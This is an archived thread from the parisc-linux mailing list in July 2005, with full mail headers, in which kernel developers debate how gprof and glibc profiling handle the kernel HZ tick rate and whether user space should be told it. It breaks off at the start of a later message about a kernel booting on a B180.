List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AV2UYvcEeSEkcb6WZHQhaXN1IGRvb8BW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22980

Tres,
please keep this conversation on the parisc-linux mailing list.
I've added them back into the CC list.

On Mon, Jul 25, 2005 at 12:26:28AM -0600, Tres Melton wrote:
> > I'm happy to run more tests on kernel patches if that would help.
> 
> There is a patch to the kernel in the above bug report that makes Linux
> put the right value in the elf header.  That is going to be one of the
> proposed patches.  I've been running a patched kernel for about a week
> with no noticeable side effects.  If you would like you could try that
> and note any breakage in user space.

I can do that in August...thanks for pointing that out.
I read the first parts of the report but don't recall seeing
the kernel patch.

> When you said 'conversation' did you mean 'conversion'?

Yes - thanks for catching that.

> If so, there is no way for gprof to due that
> conversion without knowing what the conversion rate is.  The HZ is now
> set at compile time, as of 2.6.13-rc3, and the conversion rate to
> USER_HZ is not available to user space.

Right. That's why jiffies exported to user space has to be "normalized"
for whatever rate user space *thinks* the kernel is running.

> You spoke of another kernel
> dev, could you ask him if he is opposed to exporting the correct value
> in the elf header (or /proc) and to give a quick justification for his
> response, pro or con.  Thanks.

He's already flown back to germany and it was just incidental that
he was available. I'd rather not pester him about this since it
seems to be a fairly well understood issue...at least to some people.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tres Melton <tres@mindspring.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Testers wanted] New glibc with profiling fixed.
Date: Tue, 26 Jul 2005 07:37:16 -0600
Lines: 38
Approved: news@gmane.org
Message-ID: <1122385036.10644.146.camel@thor.tres.org>
References: <1122036994.10454.131.camel@thor.tres.org>
	<20050725000919.GA18659@colo.lackof.org>
	<1122272788.10644.71.camel@thor.tres.org>
	<20050726132402.GA32722@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623868 15840 80.91.229.3 (22 Nov 2014 02:37:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jul 2005 13:37:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx053) with SMTP; 26 Jul 2005 15:37:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C50597D691;
	Tue, 26 Jul 2005 07:37:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21231-08; Tue, 26 Jul 2005 07:37:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2C3D07D696;
	Tue, 26 Jul 2005 07:37:25 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 363957D67A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 07:37:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21237-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 07:37:19 -0600 (MDT)
Original-Received: from pop05.mail.atl.earthlink.net (pop05.mail.atl.earthlink.net
	[207.69.200.58])
	by free.linux.hp.com (Postfix) with ESMTP id A847E7D673
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 07:37:19 -0600 (MDT)
Original-Received: from h-68-164-109-9.dnvtco56.dynamic.covad.net ([68.164.109.9])
	by pop05.mail.atl.earthlink.net with esmtp (Exim 3.36 #10)
	id 1DxPcT-0006FQ-00; Tue, 26 Jul 2005 09:37:18 -0400
In-Reply-To: <20050726132402.GA32722@colo.lackof.org>
X-Mailer: Evolution 2.2.1.1 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: y1mUYs1PeSEkR76WZHQhaXN1IGRvb0BU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22981

On Tue, 2005-07-26 at 07:24 -0600, Grant Grundler wrote:
> I can do that in August...thanks for pointing that out.
> I read the first parts of the report but don't recall seeing
> the kernel patch.

http://bugs.gentoo.org/show_bug.cgi?id=90090#c21
It is not a patch file just in the comment.

> Right. That's why jiffies exported to user space has to be "normalized"
> for whatever rate user space *thinks* the kernel is running.

I'm advocating a way for user space to *know* what the kernel is
running.  It is this thinking crap that is messing things up.

> > You spoke of another kernel
> > dev, could you ask him if he is opposed to exporting the correct value
> > in the elf header (or /proc) and to give a quick justification for his
> > response, pro or con.  Thanks.
> 
> He's already flown back to germany and it was just incidental that
> he was available. I'd rather not pester him about this since it
> seems to be a fairly well understood issue...at least to some people.

If you happen to speak to him again I would still like any extra info.
Don't bother him explicitly for this though.  The issue will be taken to
the LKML by the end of the week.

> thanks,
> grant
-- 
Tres

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Testers wanted] New glibc with profiling fixed.
Date: Tue, 26 Jul 2005 15:18:37 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20050726141837.GB6663@parcelfarce.linux.theplanet.co.uk>
References: <1122036994.10454.131.camel@thor.tres.org>
	<20050725000919.GA18659@colo.lackof.org>
	<1122272788.10644.71.camel@thor.tres.org>
	<20050726132402.GA32722@colo.lackof.org>
	<1122385036.10644.146.camel@thor.tres.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623868 15843 80.91.229.3 (22 Nov 2014 02:37:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tres Melton <tres@mindspring.com>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jul 2005 14:16:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx061) with SMTP; 26 Jul 2005 16:16:29 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 644A17D693;
	Tue, 26 Jul 2005 08:16:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21651-06; Tue, 26 Jul 2005 08:16:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D18877D694;
	Tue, 26 Jul 2005 08:16:24 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D28487D690
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 08:16:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21648-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 08:16:21 -0600 (MDT)
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 3B63C7D68F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 08:16:21 -0600 (MDT)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.43) id 1DxQGT-00007r-3T; Tue, 26 Jul 2005 15:18:37 +0100
Content-Disposition: inline
In-Reply-To: <1122385036.10644.146.camel@thor.tres.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LiOUYqM0eSEkT76WZHQhaXN1IGRvbwDC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22982

On Tue, Jul 26, 2005 at 07:37:16AM -0600, Tres Melton wrote:
> I'm advocating a way for user space to *know* what the kernel is
> running.  It is this thinking crap that is messing things up.

User space should not "know" what HZ the kernel is using.  Instead, all
interfaces should be properly reported in terms of whatever HZ userspace
used to assume (100 on i386, other values on other platforms).  I don't
know what interface gprof is using, but it needs to be fixed.

Otherwise we stand no chance of going to a dynamic HZ in the future.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Testers wanted] New glibc with profiling fixed.
Date: Tue, 26 Jul 2005 22:25:44 +0800
Lines: 15
Approved: news@gmane.org
Message-ID: <42E647E8.3000505@tausq.org>
References: <1122036994.10454.131.camel@thor.tres.org>	<20050725000919.GA18659@colo.lackof.org>	<1122272788.10644.71.camel@thor.tres.org>	<20050726132402.GA32722@colo.lackof.org>	<1122385036.10644.146.camel@thor.tres.org>
	<20050726141837.GB6663@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623868 15847 80.91.229.3 (22 Nov 2014 02:37:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:48 +0000 (UTC)
Cc: Tres Melton <tres@mindspring.com>,
 parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jul 2005 14:26:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx056) with SMTP; 26 Jul 2005 16:26:34 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 04E347D6A5;
	Tue, 26 Jul 2005 08:26:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21898-05; Tue, 26 Jul 2005 08:26:04 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4BB917D6AE;
	Tue, 26 Jul 2005 08:26:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EB6D27D693
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 08:25:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21906-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 08:25:58 -0600 (MDT)
Original-Received: from stl.com.hk (ip127.bb146.pacific.net.hk [202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 379127D690
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 08:25:58 -0600 (MDT)
Original-Received: from 20.199.17.210.dyn.pacific.net.hk ([210.17.199.20]
	helo=[192.168.1.101])
	by stl.com.hk with esmtpsa (TLS-1.0:DHE_RSA_AES_256_CBC_SHA:32)
	(Exim 4.50) id 1DxQLz-0006uO-LR; Tue, 26 Jul 2005 22:24:19 +0800
User-Agent: Debian Thunderbird 1.0.2 (X11/20050331)
X-Accept-Language: en-us, en
In-Reply-To: <20050726141837.GB6663@parcelfarce.linux.theplanet.co.uk>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Ny2UYiZ4eSEkSr6WZHQhaXN1IGRvb8B4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22983

> User space should not "know" what HZ the kernel is using.  Instead, all
> interfaces should be properly reported in terms of whatever HZ userspace
> used to assume (100 on i386, other values on other platforms).  I don't
> know what interface gprof is using, but it needs to be fixed.

I thought gprof uses a SIGPROF timer using the setitimer interface. Why 
is it HZ dependent?

randolph
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tres Melton <tres@mindspring.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Testers wanted] New glibc with profiling fixed.
Date: Tue, 26 Jul 2005 09:26:01 -0600
Lines: 31
Approved: news@gmane.org
Message-ID: <1122391561.10644.155.camel@thor.tres.org>
References: <1122036994.10454.131.camel@thor.tres.org>
	<20050725000919.GA18659@colo.lackof.org>
	<1122272788.10644.71.camel@thor.tres.org>
	<20050726132402.GA32722@colo.lackof.org>
	<1122385036.10644.146.camel@thor.tres.org>
	<20050726141837.GB6663@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623869 15848 80.91.229.3 (22 Nov 2014 02:37:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jul 2005 15:26:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx002) with SMTP; 26 Jul 2005 17:26:53 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A37CD7D6B3;
	Tue, 26 Jul 2005 09:26:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22466-08; Tue, 26 Jul 2005 09:26:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0EB9B7D6BC;
	Tue, 26 Jul 2005 09:26:49 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CE6817D6A3
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 09:26:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22481-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 09:26:44 -0600 (MDT)
Original-Received: from pop04.mail.atl.earthlink.net (pop04.mail.atl.earthlink.net
	[207.69.200.28])
	by free.linux.hp.com (Postfix) with ESMTP id 5063E7D66B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 09:26:44 -0600 (MDT)
Original-Received: from h-68-164-109-9.dnvtco56.dynamic.covad.net ([68.164.109.9])
	by pop04.mail.atl.earthlink.net with esmtp (Exim 3.36 #10)
	id 1DxRJj-00009m-00; Tue, 26 Jul 2005 11:26:03 -0400
In-Reply-To: <20050726141837.GB6663@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Evolution 2.2.1.1 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: aTOUYt5veSEkcL6WZHQhaXN1IGRvb4AE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22984

On Tue, 2005-07-26 at 15:18 +0100, Matthew Wilcox wrote:
> On Tue, Jul 26, 2005 at 07:37:16AM -0600, Tres Melton wrote:
> > I'm advocating a way for user space to *know* what the kernel is
> > running.  It is this thinking crap that is messing things up.
> 
> User space should not "know" what HZ the kernel is using.  Instead, all
> interfaces should be properly reported in terms of whatever HZ userspace
> used to assume (100 on i386, other values on other platforms).  I don't
> know what interface gprof is using, but it needs to be fixed.

I disagree as do others but many agree with you.  The issue will soon be
brought to the LKML so you can discuss it there later this week.  It is
not gprof that is messing up it is gcc/glibc.  When a program is
compiled with the "-pg" options it emits a gmon.out file when run and
that file has bad data that gprof is trusting.

> Otherwise we stand no chance of going to a dynamic HZ in the future.

When you say, dynamic tick are you referring to things like speed step
and power now things or just changing the kernel's internal frequency on
the fly?

-- 
Tres

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@levanta.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.13-rc3-pa0 booted to login prompt on B180
Date: Wed, 27 Jul 2005 22:25:06 +0100
Lines: 66
Approved: news@gmane.org
Message-ID: <20050727212506.GJ5500@levanta.com>
References: <20050726225246.GE5500@levanta.com>
	<20050727203951.GI5500@levanta.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="4SFOXa2GPu3tIq4H"
X-Trace: ger.gmane.org 1416623869 15850 80.91.229.3 (22 Nov 2014 02:37:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Jul 2005 21:25:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx036) with SMTP; 27 Jul 2005 23:25:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1A7887D70F;
	Wed, 27 Jul 2005 15:25:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04457-07; Wed, 27 Jul 2005 15:25:15 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0BD557D711;
	Wed, 27 Jul 2005 15:25:15 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9263E7D70D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Jul 2005 15:25:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04457-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Jul 2005 15:25:08 -0600 (MDT)
Original-Received: from sleepie.demon.co.uk (sleepie-adsl.demon.co.uk [83.104.228.241])
	by free.linux.hp.com (Postfix) with ESMTP id BD0647D70A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Jul 2005 15:25:07 -0600 (MDT)
Original-Received: by sleepie.demon.co.uk (Postfix, from userid 1000)
	id B323327B68B; Wed, 27 Jul 2005 22:25:06 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20050727203951.GI5500@levanta.com>
User-Agent: Mutt/1.4.2i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: l56VYk1JeSEkVr6WZHQhaXN1IGRvb0AR
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22985


--4SFOXa2GPu3tIq4H
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Wed, Jul 27, 2005 at 09:39:51PM +0100, Richard Hirst wrote:
> On Tue, Jul 26, 2005 at 11:52:46PM +0100, Richard Hirst wrote:
> > Patch attached; it boots to a login prompt but
> > 
